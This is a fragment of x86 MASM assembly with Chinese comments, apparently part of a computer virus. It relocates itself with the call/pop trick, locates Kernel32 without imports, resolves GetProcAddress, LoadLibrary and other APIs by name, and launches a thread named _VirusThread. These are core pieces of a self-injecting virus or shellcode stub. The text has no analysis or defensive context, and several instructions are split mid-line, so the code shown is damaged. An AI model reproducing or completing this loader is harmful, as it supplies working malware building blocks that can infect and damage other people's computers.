;*************************
代码重定位
*************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;****************************************************************************
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
mov [ebx + hDllKernel32], eax
lea eax, [ebx + szGetProcAddress]
invoke _GetAPIByName, [ebx +
hDllKernel32],eax ;获取 GetProcAddress的地址
mov [ebx + _GetProcAddress], eax
lea eax, [ebx + szLoadLibrary]
invoke [ebx + _GetProcAddress], [ebx +
hDllKernel32], eax; 获取 LoadLibrary的地址
mov [ebx + _LoadLibrary], eax
lea eax, [ebx + szUser32]
invoke [ebx + _LoadLibrary], eax ; 获取 User32.DLL的基址
mov [ebx + hDllUser32], eax
;******************* 循环获取API(在User32.dll) ***********************
pushad
lea esi, [ebx + szMessageBox]
lea edi, [ebx + _MessageBox]
.while TRUE
invoke [ebx + _GetProcAddress], [ebx
+ hDllUser32], esi
.if !eax
; invoke [ebx + _MessageBox], NULL,
esi, NULL, MB_OK
.endif
mov [edi], eax
add edi, 4
xor eax, eax
@@:
lodsb ;使esi移动到下一个API的字符串
or ax, ax
jnz @B
.break .if ! byte ptr [esi] ;新的API字符串是不是 0
.endw
popad
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;******************* 循环获取API(在Kernel.dll) ***********************
pushad
lea esi, [ebx + szExitProcess]
lea edi, [ebx + _ExitProcess]
.while TRUE
invoke [ebx + _GetProcAddress], [ebx
+ hDllKernel32], esi
.if !eax
; invoke [ebx + _MessageBox], NULL,
esi, NULL, MB_OK
.endif
mov [edi], eax
add edi, 4
xor eax, eax
@@:
lodsb ;使esi移动到下一个API的字符串
or ax, ax
jnz @B
.break .if ! byte ptr [esi] ;新的API字符串是不是 0
.endw
popad
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
lea eax, [ebx + _VirusThread]
invoke [ebx + _CreateThread], NULL, 0,
eax, 0, 0, 0 ;创建新的线程
I
